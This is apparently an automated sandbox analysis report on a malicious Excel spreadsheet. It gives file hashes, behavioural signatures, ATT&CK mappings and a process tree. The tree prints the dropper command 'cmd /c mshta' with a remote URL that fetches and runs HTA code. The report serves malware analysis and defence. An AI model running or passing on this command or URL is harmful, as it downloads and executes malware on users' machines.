a1540ebcb5b5991e567b00a80d1390c8beaa2857f8b364ab419340f63abad9e4

Analysis

max time kernel
117s
max time network
119s
platform
windows7_x64
resource
win7-20241023-en
resource tags

arch:x64arch:x86image:win7-20241023-enlocale:en-usos:windows7-x64system
submitted
20/11/2024, 09:02

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General

Target

a1540ebcb5b5991e567b00a80d1390c8beaa2857f8b364ab419340f63abad9e4.xls
Size

76KB
MD5

854d9d4ef4f04ee8f17abba7c10ebebc
SHA1

30894a441acef3ce04463268f0434b9553051731
SHA256

a1540ebcb5b5991e567b00a80d1390c8beaa2857f8b364ab419340f63abad9e4
SHA512

6f3195c033568fa2119adfac9f35a12bd58c6c7d2f81e39c6f13daf9a6a1d1d3532d643ed3ecd3fa0607bc7bed8f97daa05cfccb9996e4e3283af0db18a8d303
SSDEEP

1536:xY+nBqmIk3hbdlylKsgqopeJBWhZFGkE+cMLxAAIiQ5gQ72IotO6nitSUPU+8:xY+nBqmIk3hbdlylKsgqopeJBWhZFGkZ

Score

10^/10

discovery

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://91.240.118.168/qqw/aas/se.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	2376	2604	cmd.exe	29

Blocklisted process makes network request 2 IoCs

flow	pid	Process
4	3004	mshta.exe
5	3004	mshta.exe

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2604	EXCEL.EXE

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
2604	EXCEL.EXE
2604	EXCEL.EXE
2604	EXCEL.EXE

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2604 wrote to memory of 2376	2604	EXCEL.EXE	30
PID 2604 wrote to memory of 2376	2604	EXCEL.EXE	30
PID 2604 wrote to memory of 2376	2604	EXCEL.EXE	30
PID 2604 wrote to memory of 2376	2604	EXCEL.EXE	30
PID 2376 wrote to memory of 3004	2376	cmd.exe	32
PID 2376 wrote to memory of 3004	2376	cmd.exe	32
PID 2376 wrote to memory of 3004	2376	cmd.exe	32
PID 2376 wrote to memory of 3004	2376	cmd.exe	32

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\a1540ebcb5b5991e567b00a80d1390c8beaa2857f8b364ab419340f63abad9e4.xls
1⤵
- System Location Discovery: System Language Discovery
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2604
- C:\Windows\SysWOW64\cmd.exe
  cmd /c mshta http://91.240.118.168/qqw/aas/se.html
  2⤵
  - Process spawned unexpected child process
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2376
- - C:\Windows\SysWOW64\mshta.exe
    mshta http://91.240.118.168/qqw/aas/se.html
    3⤵
    - Blocklisted process makes network request
    - System Location Discovery: System Language Discovery
    - Modifies Internet Explorer settings
    PID:3004

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2604-1-0x000000007208D000-0x0000000072098000-memory.dmp

Filesize
44KB

Download
memory/2604-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2604-2-0x000000007208D000-0x0000000072098000-memory.dmp

Filesize
44KB

Download